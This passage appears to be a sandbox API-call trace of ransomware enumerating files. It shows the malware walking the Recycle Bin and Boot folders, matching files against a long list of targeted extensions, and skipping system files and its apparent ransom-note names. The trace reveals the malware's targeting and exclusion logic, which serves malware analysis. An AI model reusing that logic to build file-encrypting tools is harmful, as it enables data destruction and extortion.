(lpString=".dtd") returned 4 [0033.011] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dwg") returned 4 [0033.011] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dwt") returned 4 [0033.011] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dx") returned 3 [0033.012] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.012] lstrlenW (lpString=".dxf") returned 4 [0033.012] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".edml") returned 5 [0033.012] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.012] lstrlenW (lpString=".efd") returned 4 [0033.012] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".elf") returned 4 [0033.012] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".emf") returned 4 [0033.012] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".emz") returned 4 [0033.012] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".epf") returned 4 [0033.012] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".eps") returned 4 [0033.012] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".epsf") returned 5 [0033.012] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.012] lstrlenW (lpString=".epsp") returned 5 [0033.012] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.012] lstrlenW (lpString=".erf") returned 4 [0033.012] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".exr") returned 4 [0033.012] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".f4v") returned 4 [0033.012] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".fido") returned 5 [0033.012] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.012] lstrlenW (lpString=".flm") returned 4 [0033.012] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".flv") returned 4 [0033.012] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.012] lstrlenW (lpString=".frm") returned 4 [0033.013] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".fxg") returned 4 [0033.013] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".geo") returned 4 [0033.013] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".gif") returned 4 [0033.013] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".grs") returned 4 [0033.013] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".gz") returned 3 [0033.013] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.013] lstrlenW (lpString=".h") returned 2 [0033.013] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.013] lstrlenW (lpString=".hdr") returned 4 [0033.013] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".hpp") returned 4 [0033.013] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".hta") returned 4 [0033.013] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".htc") returned 4 [0033.013] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".htm") returned 4 [0033.013] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".html") returned 5 [0033.013] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.013] lstrlenW (lpString=".icb") returned 4 [0033.013] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".ics") returned 4 [0033.013] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".iff") returned 4 [0033.013] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".inc") returned 4 [0033.013] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.013] lstrlenW (lpString=".indd") returned 5 [0033.014] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.014] lstrlenW (lpString=".ini") returned 4 [0033.014] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.014] lstrlenW (lpString="desktop.ini") returned 11 [0033.014] lstrlenW (lpString=".html") returned 5 [0033.014] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.014] lstrlenW (lpString="desktop.ini") returned 11 [0033.014] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0033.014] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0033.014] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0033.014] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0033.014] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0033.014] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0033.014] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0033.014] lstrcmpiW (lpString1="ohbdap.exe", lpString2="desktop.ini") returned 1 [0033.014] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.014] FindNextFileW (in: hFindFile=0x5a1de0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.014] FindClose (in: hFindFile=0x5a1de0 | out: hFindFile=0x5a1de0) returned 1 [0033.014] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.014] FindNextFileW (in: hFindFile=0x5a0d98, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.014] FindClose (in: hFindFile=0x5a0d98 | out: hFindFile=0x5a0d98) returned 1 [0033.014] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0033.014] FindNextFileW (in: hFindFile=0x501018, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.014] lstrlenW (lpString="C:\\Boot") returned 7 [0033.014] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.015] lstrlenW (lpString="Boot") returned 4 [0033.015] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0033.015] lstrlenW (lpString="C:\\Boot") returned 7 [0033.015] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1da0 [0033.015] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.015] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.015] lstrlenW (lpString="BCD") returned 3 [0033.015] lstrlenW (lpString=".1cd") returned 4 [0033.015] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".3ds") returned 4 [0033.015] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".3fr") returned 4 [0033.015] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".3g2") returned 4 [0033.015] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".3gp") returned 4 [0033.015] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".7z") returned 3 [0033.015] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.015] lstrlenW (lpString=".accda") returned 6 [0033.015] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".accdb") returned 6 [0033.015] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".accdc") returned 6 [0033.015] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.015] lstrlenW (lpString=".accde") returned 6 [0033.015] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.016] lstrlenW (lpString=".accdt") returned 6 [0033.016] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.016] lstrlenW (lpString=".accdw") returned 6 [0033.016] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.018] lstrlenW (lpString=".adb") returned 4 [0033.018] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.018] lstrlenW (lpString=".adp") returned 4 [0033.018] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.018] lstrlenW (lpString=".ai") returned 3 [0033.018] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.018] lstrlenW (lpString=".ai3") returned 4 [0033.018] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.018] lstrlenW (lpString=".ai4") returned 4 [0033.018] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.018] lstrlenW (lpString=".ai5") returned 4 [0033.018] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".ai6") returned 4 [0033.019] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".ai7") returned 4 [0033.019] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".ai8") returned 4 [0033.019] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".anim") returned 5 [0033.019] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".arw") returned 4 [0033.019] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".as") returned 3 [0033.019] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.019] lstrlenW (lpString=".asa") returned 4 [0033.019] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".asc") returned 4 [0033.019] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".ascx") returned 5 [0033.019] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".asm") returned 4 [0033.019] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".asmx") returned 5 [0033.019] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".asp") returned 4 [0033.019] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".aspx") returned 5 [0033.019] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".asr") returned 4 [0033.019] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".asx") returned 4 [0033.019] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".avi") returned 4 [0033.019] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".avs") returned 4 [0033.019] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.019] lstrlenW (lpString=".backup") returned 7 [0033.020] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".bak") returned 4 [0033.020] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".bay") returned 4 [0033.020] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".bd") returned 3 [0033.020] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.020] lstrlenW (lpString=".bin") returned 4 [0033.020] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".bmp") returned 4 [0033.020] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".bz2") returned 4 [0033.020] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".c") returned 2 [0033.020] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.020] lstrlenW (lpString=".cdr") returned 4 [0033.020] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".cer") returned 4 [0033.020] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".cf") returned 3 [0033.020] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.020] lstrlenW (lpString=".cfc") returned 4 [0033.020] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".cfm") returned 4 [0033.020] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".cfml") returned 5 [0033.020] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".cfu") returned 4 [0033.020] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".chm") returned 4 [0033.020] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.020] lstrlenW (lpString=".cin") returned 4 [0033.020] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".class") returned 6 [0033.021] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".clx") returned 4 [0033.021] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".config") returned 7 [0033.021] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".cpp") returned 4 [0033.021] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".cr2") returned 4 [0033.021] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".crt") returned 4 [0033.021] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".crw") returned 4 [0033.021] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".cs") returned 3 [0033.021] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.021] lstrlenW (lpString=".css") returned 4 [0033.021] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".csv") returned 4 [0033.021] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".cub") returned 4 [0033.021] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".dae") returned 4 [0033.021] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".dat") returned 4 [0033.021] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".db") returned 3 [0033.021] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.021] lstrlenW (lpString=".dbf") returned 4 [0033.021] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".dbx") returned 4 [0033.021] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".dc3") returned 4 [0033.021] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.021] lstrlenW (lpString=".dcm") returned 4 [0033.022] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dcr") returned 4 [0033.022] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".der") returned 4 [0033.022] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dib") returned 4 [0033.022] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dic") returned 4 [0033.022] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dif") returned 4 [0033.022] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".divx") returned 5 [0033.022] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".djvu") returned 5 [0033.022] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dng") returned 4 [0033.022] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".doc") returned 4 [0033.022] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".docm") returned 5 [0033.022] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".docx") returned 5 [0033.022] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dot") returned 4 [0033.022] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dotm") returned 5 [0033.022] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dotx") returned 5 [0033.022] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dpx") returned 4 [0033.022] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dqy") returned 4 [0033.022] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.022] lstrlenW (lpString=".dsn") returned 4 [0033.022] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".dt") returned 3 [0033.023] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.023] lstrlenW (lpString=".dtd") returned 4 [0033.023] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".dwg") returned 4 [0033.023] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".dwt") returned 4 [0033.023] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".dx") returned 3 [0033.023] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.023] lstrlenW (lpString=".dxf") returned 4 [0033.023] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".edml") returned 5 [0033.023] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".efd") returned 4 [0033.023] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".elf") returned 4 [0033.023] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".emf") returned 4 [0033.023] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".emz") returned 4 [0033.023] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".epf") returned 4 [0033.023] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".eps") returned 4 [0033.023] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".epsf") returned 5 [0033.023] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".epsp") returned 5 [0033.023] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".erf") returned 4 [0033.023] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".exr") returned 4 [0033.023] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.023] lstrlenW (lpString=".f4v") returned 4 [0033.023] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.024] lstrlenW (lpString=".fido") returned 5 [0033.024] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.024] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.024] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.047] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.051] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.061] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.063] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.063] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.063] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.063] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.064] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.064] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.064] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.064] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.064] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.064] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.064] FindFirstFileW (in: 